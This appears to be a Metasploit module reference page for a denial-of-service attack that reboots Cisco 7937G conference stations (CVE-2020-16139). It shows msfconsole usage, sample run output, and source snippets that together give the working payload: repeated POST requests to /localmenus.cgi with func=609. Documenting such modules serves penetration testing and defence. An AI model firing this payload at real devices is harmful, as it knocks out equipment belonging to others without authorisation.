Cisco 7937G Denial-of-Service Reboot Attack - Metasploit


This page contains detailed information about how to use the auxiliary/dos/cisco/cisco_7937g_dos_reboot metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Cisco 7937G Denial-of-Service Reboot Attack
Module: auxiliary/dos/cisco/cisco_7937g_dos_reboot
Source code: modules/auxiliary/dos/cisco/cisco_7937g_dos_reboot.py
Disclosure date: 2020-06-02
Last modification time: 2020-08-21 09:01:45 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2020-16139

This module exploits a bug in how the conference station handles executing a ping via its web interface. By repeatedly executing the ping function without clearing out the resulting output, a DoS is caused that will reset the device after a few minutes.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/dos/cisco/cisco_7937g_dos_reboot
msf auxiliary(cisco_7937g_dos_reboot) > show targets
    ... a list of targets ...
msf auxiliary(cisco_7937g_dos_reboot) > set TARGET target-id
msf auxiliary(cisco_7937g_dos_reboot) > show options
    ... show and set options ...
msf auxiliary(cisco_7937g_dos_reboot) > exploit

Knowledge Base

Vulnerable Application

Cisco 7937G Conference Station. This module has been tested successfully against firmware versions SCCP-1-4-5-5 and SCCP-1-4-5-7.

Description

This module exploits a bug in how the conference station handles executing a ping via its web interface. By repeatedly executing the ping function without clearing out the resulting output, a DoS is caused that will reset the device after a few minutes.

Verification Steps

  1. Obtain a Cisco 7937G Conference Station.
  2. Enable Web Access on the device (default configuration).
  3. Start msfconsole
  4. Do: use auxiliary/dos/cisco/cisco_7937g_dos_reboot
  5. Do: set rhost 192.168.1.10
  6. Do: run
  7. The conference station should become nonresponsive and then power cycle itself.

Options

No options

Scenarios

Cisco 7937G Running Firmware Version SCCP-1-4-5-7

msf5 > use auxiliary/dos/cisco/cisco_7937g_dos_reboot
msf5 auxiliary(dos/cisco/cisco_7937g_dos_reboot) > set rhost 192.168.110.209
rhost => 192.168.110.209
msf5 auxiliary(dos/cisco/cisco_7937g_dos_reboot) > run

[*] Starting server...
[*] 192.168.110.209 - Sending DoS Packets. Stand by.
[*] 192.168.110.209 - DoS reset attack completed!
[*] Auxiliary module execution completed

Cisco 7937G Running Firmware Version SCCP-1-4-5-5

msf5 > use auxiliary/dos/cisco/cisco_7937g_dos_reboot
msf5 auxiliary(dos/cisco/cisco_7937g_dos_reboot) > set rhost 192.168.110.209
rhost => 192.168.110.209
msf5 auxiliary(dos/cisco/cisco_7937g_dos_reboot) > run

[*] Starting server...
[*] 192.168.110.209 - Sending DoS Packets. Stand by.
[*] 192.168.110.209 - DoS reset attack completed!
[*] Auxiliary module execution completed

Go back to menu.

Msfconsole Usage

Here is how the dos/cisco/cisco_7937g_dos_reboot auxiliary module looks in the msfconsole:

msf6 > use auxiliary/dos/cisco/cisco_7937g_dos_reboot

msf6 auxiliary(dos/cisco/cisco_7937g_dos_reboot) > show info

       Name: Cisco 7937G Denial-of-Service Reboot Attack
     Module: auxiliary/dos/cisco/cisco_7937g_dos_reboot
    License: GNU Public License v2.0
       Rank: Normal
  Disclosed: 2020-06-02

Provided by:
  Cody Martin

Check supported:
  No

Basic options:
  Name   Current Setting  Required  Description
  ----   ---------------  --------  -----------
  rhost  None             yes       Target address

Description:
  This module exploits a bug in how the conference station handles 
  executing a ping via its web interface. By repeatedly executing the 
  ping function without clearing out the resulting output, a DoS is 
  caused that will reset the device after a few minutes.

References:
  https://blacklanternsecurity.com/2020-08-07-Cisco-Unified-IP-Conference-Station-7937G/
  https://nvd.nist.gov/vuln/detail/CVE-2020-16139

Module Options

This is a complete list of options available in the dos/cisco/cisco_7937g_dos_reboot auxiliary module:

msf6 auxiliary(dos/cisco/cisco_7937g_dos_reboot) > show options

Module options (auxiliary/dos/cisco/cisco_7937g_dos_reboot):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   rhost  None             yes       Target address

Advanced Options

Here is a complete list of advanced options supported by the dos/cisco/cisco_7937g_dos_reboot auxiliary module:

msf6 auxiliary(dos/cisco/cisco_7937g_dos_reboot) > show advanced

Module advanced options (auxiliary/dos/cisco/cisco_7937g_dos_reboot):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the dos/cisco/cisco_7937g_dos_reboot module can do:

msf6 auxiliary(dos/cisco/cisco_7937g_dos_reboot) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the dos/cisco/cisco_7937g_dos_reboot auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(dos/cisco/cisco_7937g_dos_reboot) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Required Python module dependency (requests) is missing.

Here is a relevant code snippet related to the "Required Python module dependency (requests) is missing." error message:

53:	}
54:	
55:	def run(args):
56:	    module.LogHandler.setup(msg_prefix='{} - '.format(args['rhost']))
57:	    if requests_missing:
58:	        logging.error('Required Python module dependency (requests) is missing.')
59:	        logging.error('Please execute pip3 install requests.')
60:	        return
61:	    if random_missing:
62:	        logging.error('Required Python module dependency (random) is missing.')
63:	        logging.error('Please execute pip3 install random.')

Please execute pip3 install requests.

Here is a relevant code snippet related to the "Please execute pip3 install requests." error message:

54:	
55:	def run(args):
56:	    module.LogHandler.setup(msg_prefix='{} - '.format(args['rhost']))
57:	    if requests_missing:
58:	        logging.error('Required Python module dependency (requests) is missing.')
59:	        logging.error('Please execute pip3 install requests.')
60:	        return
61:	    if random_missing:
62:	        logging.error('Required Python module dependency (random) is missing.')
63:	        logging.error('Please execute pip3 install random.')
64:	    if string_missing:

Required Python module dependency (random) is missing.

Here is a relevant code snippet related to the "Required Python module dependency (random) is missing." error message:

57:	    if requests_missing:
58:	        logging.error('Required Python module dependency (requests) is missing.')
59:	        logging.error('Please execute pip3 install requests.')
60:	        return
61:	    if random_missing:
62:	        logging.error('Required Python module dependency (random) is missing.')
63:	        logging.error('Please execute pip3 install random.')
64:	    if string_missing:
65:	        logging.error('Required Python module dependency (string) is missing.')
66:	        logging.error('Please execute pip3 install string.')
67:

Please execute pip3 install random.

Here is a relevant code snippet related to the "Please execute pip3 install random." error message:

58:	        logging.error('Required Python module dependency (requests) is missing.')
59:	        logging.error('Please execute pip3 install requests.')
60:	        return
61:	    if random_missing:
62:	        logging.error('Required Python module dependency (random) is missing.')
63:	        logging.error('Please execute pip3 install random.')
64:	    if string_missing:
65:	        logging.error('Required Python module dependency (string) is missing.')
66:	        logging.error('Please execute pip3 install string.')
67:	
68:	    url = "http://{}/localmenus.cgi".format(args['rhost'])

Required Python module dependency (string) is missing.

Here is a relevant code snippet related to the "Required Python module dependency (string) is missing." error message:

60:	        return
61:	    if random_missing:
62:	        logging.error('Required Python module dependency (random) is missing.')
63:	        logging.error('Please execute pip3 install random.')
64:	    if string_missing:
65:	        logging.error('Required Python module dependency (string) is missing.')
66:	        logging.error('Please execute pip3 install string.')
67:	
68:	    url = "http://{}/localmenus.cgi".format(args['rhost'])
69:	    data = ''.join(random.choice(string.ascii_letters) for i in range(46))
70:	    payload = {"func": "609", "data": data, "rphl": "1"}

Please execute pip3 install string.

Here is a relevant code snippet related to the "Please execute pip3 install string." error message:

61:	    if random_missing:
62:	        logging.error('Required Python module dependency (random) is missing.')
63:	        logging.error('Please execute pip3 install random.')
64:	    if string_missing:
65:	        logging.error('Required Python module dependency (string) is missing.')
66:	        logging.error('Please execute pip3 install string.')
67:	
68:	    url = "http://{}/localmenus.cgi".format(args['rhost'])
69:	    data = ''.join(random.choice(string.ascii_letters) for i in range(46))
70:	    payload = {"func": "609", "data": data, "rphl": "1"}
71:	    logging.info("Sending POST requests triggering the PING function.")

Device doesn't appear to be functioning or web access is not enabled.

Here is a relevant code snippet related to the "Device doesn't appear to be functioning or web access is not enabled." error message:

72:	    logging.info("Device should crash with a DoS shortly...")
73:	    for i in range(1000):
74:	        try:
75:	            r = requests.post(url=url, params=payload, timeout=5)
76:	            if r.status_code != 200:
77:	                logging.error("Device doesn't appear to be functioning or web access is not enabled.")
78:	                return
79:	        except requests.exceptions.ReadTimeout as e:
80:	            logging.info('DoS reset attack completed!')
81:	            return
82:	        except requests.exceptions.RequestException as e:

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References

See Also

Check also the following modules related to this module:

Authors

  • Cody Martin

Version

This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

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